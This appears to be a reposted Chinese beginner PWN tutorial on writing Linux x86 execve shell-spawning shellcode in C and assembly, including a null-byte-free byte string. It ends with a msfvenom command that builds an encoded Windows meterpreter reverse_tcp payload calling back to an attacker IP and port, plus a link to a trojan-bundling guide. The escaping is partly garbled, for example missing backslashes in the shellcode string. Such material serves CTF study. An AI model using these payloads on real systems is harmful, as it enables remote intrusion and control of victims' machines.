PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例

Posted pwn2web

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例相关的知识,希望对你有一定的参考价值。

一、shellcode编写

下面我将参考其他资料来一步步示范shellcode的几种编写方式

0x01 系统调用

通过系统调用execve函数返回shell

C语言实现:
#include<unistd.h>
#include<stdlib.h>
char *buf [] = {"/bin/sh",NULL};
void main
{
          execve("/bin/sh",buf,0);
          exit(0);
}

 

 

execve函数在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve()用来执行第一参数字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。从程序中可以看出,如果通过C语言调用execve来返回shell的话,首先需要引入相应的头文件,然后在主函数中调用系统调用函数execve;同时传入三个参数。

编译运行,获得shell:
[email protected]-virtual-machine:~/DIY$ ./shellcode
$ whoami
elvirangel

示例:

技术图片

 

 

0x02 汇编形式编写shellcode

32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询

技术图片

Int 0x80软中断

int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数

开始编写shellcode

global _start
_start:
mov eax,0;
mov edx,0;
push edx
push "/sh"
push "/bin";
mov ebx,esp;
xor eax,eax
mov al,0Bh;
int 80h

 

 

技术图片

技术图片

可见有很多/x00,shellcode中存在/x00字节在进行利用的时候会被截断,所以我们要避免出现/x00字节,重新修改我们的汇编程序

global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push "//sh"
push "/bin"
mov ebx,esp
xor eax,eax
mov al,0Bh
int 80ha

 

技术图片

shellcode = "x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80"

 

 

三、结合metasploit进行shellcode编写

技术图片

可以看到使用msfvenom 自动帮我们生成恶意的shellcode

  • 其中的-a 代表 的是目标的架构 如:x86

  • platform 代表的是一个目标机的平台 如: windows

  • 那么-p 呢 代表的是msf的payload的以及-e 和-b 呢 代表这个 encoder编码器,-b 表示去除硬编码中的0x00代码,因为0x00代表着结束的符号,所以我们不能让他出现0x00这个代码。

  • 最后的 -i 和-f 分别代表的是iterations和format (迭代次数和格式)

那么我们将其代码重新改改,我们比如需要的功能是meterperter、指定ip和端口、指定shellcode 编码格式如:c或者python等代码

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击者IP地址  LPORT=攻击者端口  -e x86/shikata_ga_nai -b ‘x00‘ -i 迭代次数  -f  c
-p去指定payload为 windows/meterpreter/reverse_tcp
LHOST 和LPORT 指定攻击者ip和端口
-e指定x86/shikata_ga_nai 编码器
-i 指定迭代为如 5次 或10次等
-f 指定输出的格式 如c 代码 、或者python等其他格式的代码
-f参数可以参考msfvenom的帮助参数 查看-f的支持格式

随机附上msf捆绑木马教程:https://www.cnblogs.com/ghost00011011/p/7994396.html

 










以上是关于PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例的主要内容,如果未能解决你的问题,请参考以下文章

PWN菜鸡入门之函数调用栈与栈溢出的联系

PWN菜鸡入门之栈溢出 —— ret2libc与动态链接库的关系

记录一次入门pwn题--ret2shellcode

[CTF pwn]傻傻分不清的execveint80syscallsystem及shellcode

字符串溢出(pwn溢出)--ret2shellcode

ctf pwn 栈溢出攻防演绎流程图及学习路径v1.0(从入门到进阶,个人整理,持续更新)